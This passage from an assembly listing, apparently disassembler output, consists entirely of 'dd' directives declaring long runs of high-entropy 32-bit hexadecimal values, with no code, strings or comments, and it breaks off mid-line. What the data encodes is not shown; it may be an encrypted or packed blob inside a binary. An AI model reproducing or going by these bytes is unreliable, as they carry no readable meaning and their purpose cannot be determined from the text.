0DF4D0EE4h dd 0CD188361h, 123D979Ch, 0F34A2C2Dh, 222C16B5h, 0F2746E0Fh dd 0FC45AA94h, 0AEC766B0h, 5AA6BA44h, 759DE169h, 0E762171Ah dd 0B22C7814h, 92DD36CFh, 9037AF8h, 0E7C0EE7h, 0F93CECC1h dd 4C42FC51h, 0B7438DFEh, 0B9EA9688h, 0D4EF1C15h, 0DCE4336Ah dd 859803C6h, 43F335B9h, 5B1B5AC9h, 5FCA7ED6h, 411AF582h dd 3BA100A0h, 9A0B1F4Fh dd 53CAFC8Bh, 509F3896h, 0F4DE0BF1h, 0B7BEC7F4h, 9FEF66DCh dd 4CEEE2B2h, 3828BF09h, 8698EBBh, 0E171A27Dh, 0E8412DF6h dd 0C5D30017h, 46C1229Dh, 449AFB6Bh, 35DEFF3Bh, 456946ABh dd 0B71818B1h, 10311812h, 0A4212CCFh, 0C2ED5F5h, 0AAB674CBh dd 0F60FDA02h, 0C766B2A5h, 224D68DBh, 0F8A46EDBh, 84E9B40Bh dd 4C7CA3C1h, 66C4C8D4h, 9CD64DCEh, 5ADA8EE7h, 4C9A078Fh dd 0EFDF69A7h, 5A99932Ch, 0ED32B4EAh, 8B430FC6h, 554ABD9h dd 0C6E5207Fh, 0A42832ACh, 65FEBBAh, 1DDC6454h, 13054B57h dd 0BA2FD93h, 0BDFEFA28h, 8769FB7Ch, 0D758C8B6h, 0C7756DE6h dd 7FF75B6Bh, 0F28E8CA3h, 0FC2046C4h, 0E4C661E8h, 68EC2FB9h dd 0B16796ADh, 0BF536C3Bh, 8BFB0983h, 0DDCEFF66h, 3379AF16h dd 0C31CAD95h, 95AAACFEh, 9E552798h, 7BDC1F81h, 13E7C2FFh dd 45FC5709h, 729A67A7h, 5F44E5FFh, 0AD7F3495h, 1336F4D3h dd 7C4DCC50h, 0EF096245h, 87D26F95h, 0E6B1C977h, 9A6F9659h dd 0B1A1A1F8h, 0B1D64570h, 0B93D2A94h, 0E3F59561h, 0EC355791h dd 0E1CF2934h, 0EB99595Ch, 0BCB1476Ah, 9F4C7250h, 2F9F402Ch dd 227BB04Dh, 0F8EC0A0Eh, 0AFCCF92Fh, 0EF1C44B5h, 0B27A65EBh dd 0BB68EBDEh, 0D1D0197Ah, 6ECE754Ah, 66CAA6DBh, 0ECD89531h dd 0F488CE7Dh, 0CCECA7B5h, 0A5F81B93h, 0FE424BBFh, 0DB653F0Fh dd 0DA76703Ch, 0E48D656h, 303CBEC2h, 0DAA18B56h, 0E3CEB834h dd 0EAA3852Fh, 0EB517E66h, 9B8B3C53h, 2EC02E3Ah, 0D5A87B4Dh dd 0FB8EFDF4h, 0D08CA775h, 0B9B6A872h, 9C3ADDA2h, 0BE67EB6Ah dd 6CA8095Dh, 5E373562h, 3B10FF34h, 3FC19B85h, 773CC87Eh dd 0F12E5B50h, 66F1313Eh, 0F16288F0h, 24B5B4FBh, 946751B0h dd 127ECEB8h, 9B7FD446h, 2E8B5575h, 0D9DF897Ch, 9018B3FDh dd 96933707h, 2481C0Bh, 6A8E7773h, 974D13C8h, 0D6E6B545h dd 6CBA7D79h, 9DA3D1F1h, 0D80ED26Ah, 647959B2h, 6DB32328h dd 0ED1E8C03h, 0ACC0E764h, 67DAEC1Ah, 0D66EA61Ah, 4E068DFEh dd 836FA8B3h, 0D18A0D7Ah, 12ADEF4Eh, 0F4FCE53Bh, 5F52C062h dd 0DE9ECE3Eh, 1B4DFC8Ch, 8B61B99Eh, 0DB7C2D63h, 0A26B5403h dd 0B890FB82h, 0DFEF690Fh, 0AC344D3Fh, 0E62AD289h, 88361BCCh dd 0EADF6AB8h, 0F76D7C99h, 25E781F2h, 45552B47h, 0CD0C508Dh dd 0FE360563h, 0BF174532h, 68B08E49h, 6638A34Dh, 0A9A283CBh dd 0FC0D6A6h, 0CFA4CEB1h, 4626475Dh, 0B89259DCh, 4AFCD2A9h dd 0AB464FE9h, 0B328165Bh, 5F23FB0Ch, 6875DBF8h, 0ED7E0BCBh dd 75A23DEBh, 0ED8C518Ah, 0E7C2826Ah, 0D96968ECh, 0B233AE99h dd 1857F3Ch, 9F81309Fh, 0DA6F1E03h, 7BD317FBh, 6704D97Ah dd 377E0D19h, 4B179FD6h, 81281693h, 1A50E7FCh, 0E23FC0CEh dd 0D3823E18h, 0CF2B7A08h, 7FB33568h, 0C7CA52EBh, 2CF4F26Dh dd 1B7451F5h, 0D63DAD62h, 2D02A4F9h, 28F0ACEh, 0BEA2F83Ch dd 79FDB66h, 2E4C1115h, 1E96A5DDh, 1543F2D1h, 9A4C6595h dd 0FDD18D04h, 6E8C31A5h, 0D5637FBDh, 0FB67853Fh, 8C1DAC97h dd 0AAF6253Dh, 0B98DA394h, 5C6D6368h, 1BB2009Ah, 75EF81BFh dd 0D62AAA97h, 431DCB00h, 3B692B85h, 0DA93984h, 48971C7h dd 0AE89D781h, 631EFCC6h, 749F8377h, 0D94DDD34h, 0E75D0C3Ah dd 81FAFDDDh, 64F59946h, 9B909E2h, 70452565h, 795AFF07h dd 69CCEBD7h, 0CAC7296Ah, 0DAC10E6Bh, 0E04515E0h, 0CE72E257h dd 0AE17CE4Dh, 1E1D776Ch, 41A6D2FFh, 0EBF06CF4h, 831BC213h dd 9EDC449Ch, 0FF41F6ADh, 0A028396Bh, 7C0029DFh, 92F162D9h dd 7890B192h, 1E66783Eh, 0AECDF30h, 68CAA2EAh, 0B3BA6349h dd 0FD576AF6h, 575EDBEDh, 0DE54E9B5h, 0BAF6BA89h, 0AE8EAD1Dh dd 0D5DF2FF6h, 2EEE4E12h, 9DAC5890h, 3926A3A0h, 0C7B563EAh dd 475F77E1h, 0C4322A69h, 0B5D6779Ch, 619DD16Ah, 709A8AD6h dd 1C3526E0h, 0ECD4242Fh, 0BB937345h, 0D59D1AD1h, 0AB1BB47Ah dd 0B872A40Fh, 75DC5B49h, 77F6B85Fh, 9332228Eh, 2276EFD3h dd 82F3BE46h, 9AB4CA82h, 5CEB1AB1h, 712E49FEh, 0E0C5B397h dd 48D18C7Dh, 9A58F905h, 53913CEBh, 0B39E0794h, 195D879Ah dd 1752464Fh, 531961FDh, 15F6CC59h, 0E442188Ch, 98593B2Dh dd 52C1463Eh, 0CA0DEFC1h, 152F1788h, 0BE31586Fh, 29AA5994h dd 0B47C3748h, 4DD6E67h, 0E3F8D3B8h, 0ABF17EFAh, 0A16E979Dh dd 65F26ACAh, 45957195h, 0E7085597h, 0BF04E12Ch, 0C14CD1EAh dd 0F77AEFB3h, 0C45D89EAh, 0B6930549h, 0BF1468A7h, 4294B56Ch dd 0FF6B99C5h, 5085C769h, 9D5921C9h, 9B361CC4h, 2DD13219h dd 50DE704Bh, 9FA58854h, 17D02DB5h, 8C90E839h, 0F3A7A068h dd 998B56BEh, 27860480h, 9448BB1Eh, 3B801B4Ah, 8BFA82F3h dd 0B4CE1EAh, 0E649733Dh, 2A30C4BFh, 5CC6D6F0h, 5F6A3656h dd 1EFC99C3h, 0A3699D23h, 79170F9Bh, 2D7897ABh, 0CAED04AEh dd 0BB5123B8h, 0EB3F8DB2h, 7D0C91EBh, 98BB0C4Bh, 0CB25529Eh dd 0A763A38Fh, 0D29A155h, 44D54728h, 7BADC2B2h, 284D1B45h dd 8F2A486h, 99EDDB5Eh, 25695BBDh, 0CFBA3328h, 0B2A4BE06h dd 2DA336A8h, 5F8DE5Ch, 0BB815DBCh, 3EF3CDA6h, 0F85AF957h dd 0CAC2F3E5h, 0B7561D84h, 1DF4FD5Dh, 36D2D827h, 7AB399F8h dd 0C02F1794h, 2A36605Fh, 0CC9FEFF6h, 5F17C435h, 0F355B4F8h dd 3D4E8986h, 0B3F20057h, 0DD75156h, 77C7895Fh, 9F3F9503h dd 0F19165E0h, 0D2AA36CDh, 88708165h, 303E8DF9h, 19477D45h dd 6AB17859h, 6F202566h, 0D620DA0Ah, 0EA97FBE7h, 6C199307h dd 3FB54ED4h, 0B59A5A7Eh, 2B06D564h, 4CAEFBB7h, 6ACD35A3h dd 5D4F5E09h, 0B98DC3F1h, 5404AB84h, 28EDEF43h, 0C4C1CC39h dd 0B69799CEh, 0D9F7C8A9h, 99211934h, 0F8D9EA2Ch, 0CE654A3Bh dd 0D9395E5Dh, 0D3719853h, 32DEBDAFh, 683B8E8Fh, 762E76AAh dd 0EDEDF6C5h, 24E68A1Bh, 0C8277D6Eh, 0B143C098h, 0C24188C2h dd 0D8D5AD33h, 1F01CC33h, 545B19C3h, 11794465h, 241C060Ch dd 14257ACFh, 76352830h, 65163976h, 2CDEF84Bh, 0E4B8C0Fh dd 39EE9EBDh, 0E3D773CEh, 69FDD575h, 9D77A2E6h, 0F63B3B5Ch dd 0ED8A1A29h, 0CBE4CE84h, 0FC3AE28Fh, 0B155DB8Bh, 0AACE50CBh dd 6D16600Ah, 0E8620A5Bh, 8D010CDAh, 0E007A6ABh, 90FCC3AFh dd 0B2D06772h, 0EBCC7DFEh, 4751F367h, 0A6DF9F9Eh, 8FCD9E4Ah dd 0F69703EFh, 214E3D4h, 456A4EEEh, 0B57AA703h, 719AEA3Ah dd 2EAAD1D2h, 8E9C6A5Eh, 2FFA7957h, 8ACA10C5h, 7665D150h dd 0DC82720Bh, 46AD26CDh, 0F01897E5h, 0D795F67Ah, 0F46A40AEh dd 1708CFE2h, 0F6AC9558h, 8DF4C4A8h, 60D9D333h, 0DFFBB229h dd 9CC2B029h, 4CED1F79h, 0ED4A5029h, 0AB8DC456h, 8F72F03Fh dd 99E257A3h, 9922A396h, 0C5CDF9B5h, 0F750FD40h, 12051DF8h dd 388F8F85h, 5F2F2545h, 1044F282h, 0B3150CAEh, 8205CB3Bh dd 0BEC21DC5h, 1A98A3C2h, 0DE8A528Dh, 1BE6A87Eh, 6DA7A07Bh dd 28EDBF3Dh, 0BCEAF93Bh, 0BD7DC966h, 61ACDCC0h, 10949F1Bh dd 5AA18DB1h, 2A692B2Dh, 466A5E72h, 9FDBB659h, 50499F39h dd 2938B62Eh, 72ED3076h, 6DEA63C6h, 0E9D2975Ch, 0EDA7FB53h dd 0E82AD028h, 16D357B0h, 0D9DE9C45h, 0BB9D9137h, 0C684F2ACh dd 422CD9E7h, 8B1BB106h, 7A9891D7h, 0F8939AFAh, 0FA632CBCh dd 0AEB51483h, 0B024D3Fh, 1A17A75Fh, 33952F81h, 0BF54323Ah dd 0CDB28933h, 0A83C59D8h, 1EC9A851h, 10B92EBAh, 0E9732DB2h dd 911637B5h, 5CEEFFBCh dd 3DBA5452h, 951481DDh, 0D9FC29C7h, 0DF716E17h, 5D847114h dd 0BD250172h, 0A69E4155h, 0A05D28BBh, 3FF85AF7h, 0A53C0166h dd 23451A1h, 0B1BA3E0Fh, 268B966h, 2BD3DA90h, 9F3E75A0h dd 3B66C0D5h, 6C68B897h, 8311B25Ah, 3D9AF44Eh, 0CF7D4466h dd 0B277A006h, 8DA0D348h, 372B65D7h, 18EF0560h, 86574723h dd 6E0F72C9h, 0FD6B7054h, 6E619E36h, 29105FECh, 58D9F636h dd 56B46370h, 435534A4h, 4F8E1AD1h, 8CF1703Ah, 1AA725E2h dd 4473B6DBh, 0C0F12E92h, 59CF672Dh, 9E33FE37h, 0EBC018BFh dd 0D7352A8Fh, 9771C3F7h, 3E965D81h, 55F41189h, 7D8AE354h dd 89F3AA6Ch, 675BAD68h, 0FBBEF3Ch, 26B4384Ch, 291A1D6Ah dd 2C9EFA1Eh, 0D2B47680h, 0B84933EFh, 654770FCh, 5C40B377h dd 141F514Fh, 0DBDD6A2Fh, 0C1E33ED0h, 5A34FBC3h, 1EF5461Ah dd 0B4D1F8D9h, 0B241DD04h, 0D75C5A06h, 671D55EBh, 0DA76882Ch dd 0B9655CD8h, 0E0C9AF33h, 0E0F1913Bh, 0CEC1D97Eh, 0ABE4F6B1h dd 8F0D8D9Ah, 4E1F6E8Ah, 3A8EDE15h, 0F8219235h, 17F97F1h dd 0EDB0338Bh, 2B57DDAEh, 213F5C69h, 392DD40Bh, 781D9E2Dh dd 5C413DC5h, 17BCEC8Dh, 28D0C9DCh, 1676E53Bh, 0E32C3F18h dd 1F52F7BFh, 36288CB5h, 0FEF0AC6Bh, 5571303Ch, 42D07FA4h dd 302D305Dh, 0B225322Dh, 8D1BC596h, 0A1F8746Ah, 3B0C1AC4h dd 5ACE990Bh, 917557F7h, 0A7C228D3h, 2C3C8E52h, 0B5FDBCDAh dd 38B838F3h, 0E2DD7AF4h, 7D8984EFh, 8DAA7501h, 0B65A1CD7h dd 519DAF88h, 91293C43h, 0D47DE27Fh, 0A9459C5h, 0CC143B00h dd 0D1CC285Ah, 0D057E8E7h, 0B33B970Eh, 6A413BE3h, 34100FE7h dd 0DCDFF3C7h, 33AA4FE6h, 0B24EE378h, 93D30536h, 0E62C4D1h dd 0DA47A29Ch, 13BBB90Ah, 0F4F2DE92h, 0F7C048C0h, 494A1A7Ch dd 7597BFE2h, 9EEC9A89h, 0DF76A3Fh, 0EC17CB21h, 0BA2AE4AAh dd 9E144FF7h, 3B47E043h, 0B6054748h, 0E6A84FC2h, 99E22F53h dd 0AD59BD0h, 45FDD789h, 9C575A4h, 2C93129Dh, 8E13DB64h dd 65302144h, 0A4A746E7h, 0FF1B25F6h, 97BE3B32h, 0C476F47Eh dd 1F882FC1h, 6C8F49D0h, 0F33244F0h, 0B56E786Dh, 5A759A16h dd 11C8B8B1h, 548FEA23h, 4ED1BCDDh, 0B57C4CEDh, 5B5FFDC4h dd 0D2DF90D8h, 71B2966Ah, 0B7EA8D89h, 0EEA437A2h, 9A33E161h dd 4C974A73h, 0ABD72FBFh, 0FB443125h, 0CD83A4D1h, 4AFA570Ch dd 0A35D4233h, 2E4F2D25h, 0B86DE194h, 0BB4579BCh, 1C8F559Ah dd 55574FCEh, 0DABCE24h, 90EB3292h, 9704E3C3h, 0DA637060h dd 4EF73AF2h, 64BCB709h, 9F4E70FCh, 5C02CFC8h, 0D0E52E53h dd 216991CFh, 7127E6EBh, 0CE1FC1C3h, 0EBAC7D3Ch, 6648AD03h dd 0E80D4F54h, 326E3AC0h, 9AA83175h, 25DDFCF8h, 3B56EB46h dd 1D13B367h, 7F07FDF6h, 355616Dh, 0C08C6A41h, 49335BA2h dd 0D55A75Bh, 214EF82Bh, 5C11EF1Ch, 6419BCDAh, 9FC50A8Fh dd 2A0A66A2h, 9CE868A1h, 0D525E80Ch, 0FF175FADh, 0D6604A0Eh dd 66D69F5h, 0AAB2E0CBh, 0A2157D83h, 0D09B14B5h, 0F7ED6E5Ch dd 0B48D9381h, 4E25B96Fh, 0E8776CA2h, 0E528F6D7h, 5CBC1344h dd 278D879Ch, 6AD4470Dh, 0BCB1F5E5h, 62B6EC56h, 0DC0DEC8Ah dd 690B9D5Eh, 0E1106338h, 0FD97A72Fh, 34BBD68Dh, 0F79819EBh dd 4CA7DBC1h, 38DADFE4h, 0CF6286AAh, 38EB32E4h, 5C3D37B2h dd 0A329F9F7h, 779EA672h, 0DD70FB97h, 271A26D8h, 0B4613E3Dh dd 41B75BBAh, 0AD29E74Ch, 67D9EAD8h, 61015CDFh, 0D2E7A6E2h dd 1B8787D4h, 534D6BADh, 0E0E55EDEh, 7D66987h, 7053B035h dd 0A515F42Fh, 4ABCCBE4h, 82FF78EEh, 715D515Eh, 0D7A6C8D6h dd 94C135F0h, 0BCC60FB5h, 0B5A2350Fh, 0AE9D511Ah, 0E69E57EDh dd 809877C0h, 4551B172h, 37FAC5D2h, 98AF251Ah, 0EB98C43Dh dd 0D155CE99h, 8B6D84BCh, 83F407F1h, 0CC7D5B3h, 0F54156A5h dd 0AAB31BF8h, 86B24938h, 0BF99FC9Dh, 0E943908Ah, 833CDBDh dd 4607F0D7h, 0BE5EAB45h, 0AF1D9120h, 674828CCh, 0B90C3E34h dd 0E3681D9Eh, 4EBCCAF2h, 150E8123h, 98CE5A38h, 49253BADh dd 145FF3ADh, 0C2E4CC88h, 0ED7C143Bh, 8699D48Bh, 0A5537337h dd 94CC48A5h, 9421756Eh, 0FF38D774h, 0F9C130ADh, 0F8CD9A07h dd 52D668DAh, 0E89CA57Dh, 0EF4B2591h, 0BBDF28BFh, 0A22AC494h dd 284BF9CBh, 7973ED06h, 816FDB40h, 0F7A969B7h, 79CDDA5Ch dd 8D374975h, 0E46DAA16h, 69E3ABDDh, 5709E4D0h, 0D80B3B86h dd 797487F9h, 0B2163D19h, 0DE72ABA6h, 6D5304CCh, 0ADDEBB4Bh dd 0CF94B474h, 3CD2D26Ch, 0AA728318h, 10139855h, 63DE8D36h dd 0C72B47D7h, 2D3E25DEh, 0B43FF483h, 0EC2BDAFFh, 23AB0970h dd 652ECB4h, 0DFE26F75h, 7157CCC9h, 7B223191h, 0A41D3EDBh dd 52A7A51h, 0D5118A22h, 624712E5h, 2FD434CBh, 872E5257h dd 6C99D418h, 0D83CDDCBh, 6FBFE242h, 59C71955h, 0A3A60305h dd 5209FC5Bh, 7A7D55D6h, 26C5244Ah, 0A87B8972h, 82913131h dd 0DD7DBE6Ch, 64ACEEEEh, 2D771136h, 0D52C87E2h, 5EDD5F0h dd 0AB7A7ED9h, 0A00EFBDAh, 2A984C65h, 0D4D41A60h, 0BA95F7B1h dd 0EF66ABB1h, 22AFED2Bh, 0A519147Bh, 581C69E5h, 0D87E4DA2h dd 698A23Dh, 0FB5F37A4h, 3E2F1EB6h, 0F2898B87h, 0FD28F7D2h dd 1F8C3D74h, 0DAB2EE06h, 0D8C4B9BBh, 0D571969h, 5B8591CFh dd 8A2EA30Fh, 8A62DF16h, 0C7AA6D35h, 27688BB0h, 375B0256h dd 42411492h, 75FCA23Fh, 0A6695A93h, 0BF88AC4Dh, 62D48D43h dd 0A71C27BEh, 72D1ADF1h, 0B1163AB6h, 40BF47BEh, 2B94DABFh dd 33FF4AFCh, 38513641h, 18AA4D23h, 0D840CC64h, 0FD6A97F9h dd 0FEB3B2DEh, 0C4749842h, 0EFA7BF92h, 6DCBCBD1h, 723D9582h dd 0FCCBF9EEh, 64B4EF2Dh, 760787D9h, 0BF84F127h, 0BACCD6E0h dd 0FCDADA57h, 57AF8618h, 3B8B5DEEh, 0BFC73916h, 0B6FCCBF4h dd 17685ADFh, 8EE1DC4Ch, 0B470A0BAh, 0BA95D9C4h, 14669589h dd 69669252h, 0ADD742EAh, 0EE3098EDh, 0E36C404Dh, 0F25A9361h dd 6095B998h, 1E8195EBh, 7BD250C9h, 48A8F61Dh, 1C7AB98Fh dd 0D8A9FDEDh, 1E7EF8DFh, 0E2706C9Ch, 0EE4E1A94h, 57592D8Ah dd 24318D68h, 556505EFh, 252CA0B9h, 0DB939665h, 0A9372EC2h dd 52B4422Ch, 159CEADBh, 82E079BFh, 0B0E3C36Ch, 0FDDEE176h dd 88FAA922h, 560D16E2h, 0E21A0525h, 8225D2A8h, 1CF18F1Ah dd 3515A6B5h, 0AD54673Ah, 8EE946ACh, 6A2298DFh, 0C4A5E9B6h dd 0BCC2ACE7h, 0C0795C07h, 0D730D1D9h, 6C6FE2AAh, 972FE1F5h dd 0C0F961B1h, 7624CCA5h, 36B1585h, 4A214379h, 0DE6EFD68h dd 515CD659h, 463BCDF4h, 0E531B32Bh, 25F400F9h, 84D6855Fh dd 17167FBAh, 43E56C9Dh, 86747435h, 76025DBAh, 0E8D688A8h dd 32061F8Ah, 76320083h, 8045DD87h, 85072A3Bh, 0EB8544C4h dd 0A746B628h, 5059AADEh, 92E54ADDh, 92431832h, 38F5E3Fh dd 0F30833E0h, 0EF1E7574h, 27F62C68h, 4BFC561Bh, 1C439037h dd 0E7E6B904h, 7E2EE10Bh, 16666B3Fh, 74DDD78Dh, 7DA83D29h dd 0C093C4B2h, 5559C62Fh, 6D421446h, 0EFCE9D19h, 0BE1B4AA3h dd 0E62993C8h, 0A571695Dh, 0AA3DEC21h, 70C83C3Dh, 98DE55A7h dd 3D5CD98Ch, 4B0CD9C8h, 2CF14F97h, 0CBF25F85h, 5D7AEBA5h dd 0E06CD291h, 0C8D53179h, 515444B8h, 87CE0953h, 0C9C10A1Fh dd 0FD9D4E1Fh, 47C53FD9h, 1CAA213h, 0D9DF5C16h, 0F5428E3Fh dd 87E20F8Ch, 50EBD97Eh, 1A4F7DB5h, 4546AECBh, 74ED3311h dd 90E548C1h, 93FECD76h dd 0F798C052h, 214A8FE0h, 203005F8h, 256216C4h, 0F0C8EA5Ch dd 756AAB81h, 0C48EE876h, 78AB32D8h, 0BF0E7AE9h, 0D1DFE6C8h dd 0DBBD811Bh, 0C1569C66h, 0C626039h, 832ED06Fh, 7931F88h dd 5E6228E6h, 125E78FAh, 0C88D274Ch, 92722781h, 0CDC7CE39h dd 8774FCABh, 3CA9E022h, 0B5DD769Ah, 912E2CCFh, 48AC3F59h dd 0EF8F8823h, 4B83489Fh, 0BE55386h, 1CC3EE8Bh, 4EB97FD1h dd 6F5AF1B3h, 56FFF0E1h, 0BCEEE4E5h, 73CF581Eh, 87C5F723h dd 89CEBF36h, 0CF56113Ch, 767DC42Dh, 68A6A74Eh, 57F6F3A6h dd 211B07F3h, 87E34F1Fh, 55E2E1DEh, 19035CBh, 66B4BBC1h dd 919C7F6Fh, 559855E2h, 0E829AD61h, 45FCA3E1h, 9F419FE5h dd 0B8F213FBh, 8E2D6FF4h, 0E2A9738Eh, 9F48ACCCh, 0EE2EBF59h dd 0CB72B557h, 5F3F38FDh, 0D5ECD6C5h, 0C65394EDh, 737B11C6h dd 55E1DF1Eh, 8F964EF7h, 0C59132AAh, 460AD74Ch, 88A98F9Ch dd 0CC13F33h, 32A12ED1h, 562A4BACh, 285468F4h, 0E127C07h dd 0B8D5F862h, 8AA4C07Dh, 778DDA65h, 0A2F5CBF9h, 8B44A366h dd 57575C59h, 4E5F920Eh, 0AE026CFBh, 0F85C7916h, 0CD7A31DAh dd 0EBAFBA5h, 8949ABF9h, 0C1955618h, 76B62F11h, 18A8A1D9h dd 4E336D33h, 1E22B241h, 3233ACB6h, 0C3918AACh, 2F8B8095h dd 590D8C84h, 0F9536054h, 944F1DC7h, 51AB55D9h, 0B22284D2h dd 0A6645D50h, 0AEF58BE8h, 94CDFEB6h, 74C51B01h, 16481228h dd 0E99250A3h, 0D41A6390h, 7B5A4FA4h, 635B9DB8h, 0E3698C0Fh dd 52650C29h, 0B6ABF4A7h, 0CEC21215h, 0DA4D7DAEh, 0F83DD72Ah dd 2FA3A4C0h, 0B0CA965Fh, 6A9DADD4h, 8AFBDA76h, 0C3AD361Fh dd 5C07E65Bh, 8C2EB49Bh, 6CBD83EAh, 4351F38Dh, 9B409898h dd 6194D559h, 0B048A4FAh, 474667F4h, 0E8BE72D8h, 0D635AAE0h dd 11DE30D5h, 0FC1DAD56h, 2AAD775Eh, 0A821FF26h, 2D8DD561h dd 0B96DEBEh, 0D57013ABh, 549FF98Fh, 0A998DCD8h, 0B3FCA4B2h dd 0EF97C469h, 0C4EEAFA4h, 0E0BA81E2h, 3876DE65h, 4621D3E4h dd 0C8D58AADh, 614C97ACh, 56595CC2h, 0EF21DE7Eh, 0B172CC8Fh dd 0ABFD449Dh, 0BB909D6Bh, 0DC6A0722h, 406B31Ch, 669355BCh dd 12D5DBB9h, 22052C51h, 3FD85F06h, 0E49968F7h, 0C42245FEh dd 3DDC1ECEh, 69B2BE8h, 0E1AFD15Bh, 88E4F95Eh, 0DA81CA71h dd 0DA994715h, 13563B68h, 0EDD150A7h, 0FAA725EBh, 40A4D715h dd 5EA968BEh, 0D31377B7h, 0E375A665h, 20DD6F87h, 3A551B40h dd 0EB6FD2E1h, 975C27BAh, 3AD8B457h, 0AFDAAA6Bh, 3F7CB9B4h dd 14DA6C51h, 0D868EF9Eh, 9BE205FAh, 3E5C2CECh, 31861533h dd 533D7368h, 79574E9Dh, 0C0FC4D75h, 8D55CE4Eh, 0C384E8D2h dd 4F0D1783h, 0EDB70125h, 50DD4959h, 73F0D205h, 64896D9Fh dd 0B2FCFA11h, 0B1609754h, 73479B38h, 0DAC353C7h, 0A975AF11h dd 6C2BFF35h, 5E2A149h, 0A5FDC3C9h, 0ED8DCDAAh, 90D95FB8h dd 984B4F3Ah, 0ECA55559h, 0BF5B4533h, 63C2929Bh, 80A54E85h dd 257A8DE8h, 0ED97FA9Dh, 80E45474h, 45D11A1Fh, 88D24817h dd 0D63EAA36h, 565CF6C2h, 0D5A4BF9h, 0BA823776h, 0E26ED159h dd 0A17FFD8Ah, 484EFF22h, 62D99470h, 0AA6404A4h, 7F83FDD6h dd 52560625h, 0C2659943h, 2A92B28Bh, 4AB4EB3Eh, 95D02D82h dd 61272A6Dh, 2EA8AC94h, 28E5B48Bh, 0A316F393h, 0B26D4A58h dd 3F2DCB6h, 62728EFFh, 0B297A052h, 89423579h, 1E735A8Eh dd 1FC9AADCh, 6A75ED42h, 0AE365BF3h, 5049EC0Ch, 0BEEE8D79h dd 9D15642Eh, 0BDD5DF2Bh, 23C3B2EBh, 0C7631E8Ch, 0FC4D64D9h dd 0D23C65B0h, 5389D2BAh, 8530E2E1h, 0E6853A2Ah, 7078C226h dd 4AA10BECh, 951CB125h, 40B42953h, 2FF8B59h, 2BE94B38h dd 2B32F4EDh, 2B26692Ch, 0B643B7B7h, 0A835EA43h, 0E377B0FDh dd 61E41F52h, 0E90FDB8Dh, 5C2ABF0Bh, 97CA44AAh, 0A36EF607h dd 0B1FDF26Ah, 0B4091B34h, 0D46F8AA4h, 6AD47AEEh, 0B2B47D36h dd 3EE72B7Fh, 318EA03Eh, 8E76A55Fh, 0AF055C95h, 73093690h dd 2845EDA1h, 0F66606D7h, 3FD12794h, 0E07FB097h, 3E4103E9h dd 0DF5BB46Eh, 64788C54h, 99C54E7Eh, 0E267FF92h, 9F5CFBBAh dd 3C6450F3h, 26AE5AFFh, 46932D51h, 9FB6377Bh, 78B3B8A8h dd 4535797Ch, 0A74B65A1h, 153F0F4Ah, 2C6216EBh, 2B7D53A7h dd 0F58592FEh, 0C3FE6921h, 575A11D7h, 7D0AD3E3h, 933C8266h dd 0F7599DA3h, 0AF90E63Dh, 0AA778CACh, 76C4BAA3h, 0C4D715CAh dd 59A7C349h, 0C2825460h, 0BE3E0279h, 4ABBFDD9h, 0ADE6907Eh dd 0ABA187D1h, 78097660h, 0ABFC89Eh, 0FE93F391h, 3D61771Ch dd 331FE84Bh, 0D965DEF6h, 9746B51Eh, 0CBAA7878h, 0EFC224C9h dd 249F43C9h, 6C3FA8BBh, 0BE833AA0h, 715A4D17h, 0DF696895h dd 6F044F6Bh, 8D8E52C8h, 0A969A21Fh, 1079F5D8h, 58ACEEBCh dd 574B8DFBh, 895D3359h, 0C5830ABCh, 0BA377C0Ah, 68F3917Dh dd 0DA5ABE27h, 3736EBDEh, 99D490A9h, 7B780556h, 1995DD31h dd 89BD61ADh, 676B05CDh, 0FE3C8A6Dh, 9EC7261Bh, 75468F07h dd 10E8F911h, 0D9A62196h, 0C86EF7F9h, 3B3C410Ch, 854C3158h dd 5377A157h, 0C1E3A3ABh, 3EEB46E9h, 79A141F0h, 9D690C63h dd 5CA50262h, 2B44769h, 0B0B39B8Bh, 0F48F5EB7h, 8DCAAF76h dd 919C83E2h, 0FB98FD4Ch, 0F6FB2BF7h, 0F87BD4D5h, 0EDEF561h dd 79133B5h, 77BC0C36h, 1A99A885h, 0B398A5F8h, 0D9571688h dd 9A1F5D54h, 79C1972Ch, 9C0FC655h, 87BB31DBh, 0C389CC9Ch dd 0CFB7962Bh, 1ADD7BF3h, 0B2EBC866h, 9D5BF1Ch, 2120F66Bh dd 5E4C7172h, 90DCBFCAh, 3AE22226h, 0DE7AD59Bh, 0BEC32B4Eh dd 3377536Ch, 3C6A2557h, 758DDCCAh, 0EE43CC59h, 0F2FEFE34h dd 6B4BB511h, 7EFE1F70h, 30574769h, 0E3EA1329h, 0F9AAA416h dd 0BF4D3C50h, 0C4A9D5A8h, 2B4669D4h, 8F7FAAD5h, 0A717A69Fh dd 95E7BA93h, 451AC3F1h, 0A54296E1h, 0CE81373Eh, 24C53EABh dd 72BAC92h, 473755B4h, 2AE8DF1Bh, 0E6B3DE6h, 36D9BB4h dd 1F88EA5Bh, 17E6147Eh, 5C8FC3ECh, 5EB55966h, 0B58AEFB5h dd 301793B6h, 0DDB9466Ch, 66FAD63Dh, 5850B027h, 5A33DCB3h dd 3F1A142Fh, 57734C56h, 3F659321h, 0A8D8829Eh, 71B570A5h dd 952BE7FAh, 13735D97h, 212EC0ABh, 0FB0CA8A4h, 0F55DCEA1h dd 2DCDAD12h, 2EF612AAh, 0EACC9DAEh, 3D16E236h, 8EA20B5Bh dd 79CAAA7Fh, 0D87F46D1h, 7A2C34EAh, 54C2A8B1h, 7352CB4Bh dd 1946D04Eh, 0C0B6F2ABh, 0F1C5F0FFh, 0ABC50BF5h, 0BC0C5074h dd 0CFD75F70h, 5CCEDC96h, 0D19042A8h, 0FACFC63Dh, 2F988187h dd 0AFCC8BD9h, 0BBBB3A65h, 58EE3A7h, 97AB66FAh, 0C88492E4h dd 344410FFh, 746BB76Ch, 10255BE5h, 0D88EAA33h, 3F6784FFh dd 5BFE6F69h, 77A184E7h, 9B9EB725h, 75B48409h, 1B852438h dd 46EF04B6h, 0A5605D2Eh, 6AF14D54h, 0E7EF9455h, 0F1403AFDh dd 0E73F459Fh, 2D6DE052h, 0C3F12D73h, 0F20EA9B9h, 6423D829h dd 4589AD31h, 6078BA93h, 54124897h, 61B83898h, 59A470FAh dd 0D159B93Ch, 0DAEEB7EDh, 96A28CBAh, 67022EECh, 0E113B951h dd 0CA4A3D87h, 553E99C3h, 768615C2h, 0AC5AF857h, 0F31FFA79h dd 0BFCA7F21h, 8D11EDD4h, 0CBD03790h, 0E4F02FCAh, 168AABCBh dd 83AF6CABh, 95F0747h, 0B2FF7BE4h, 77BFD52h, 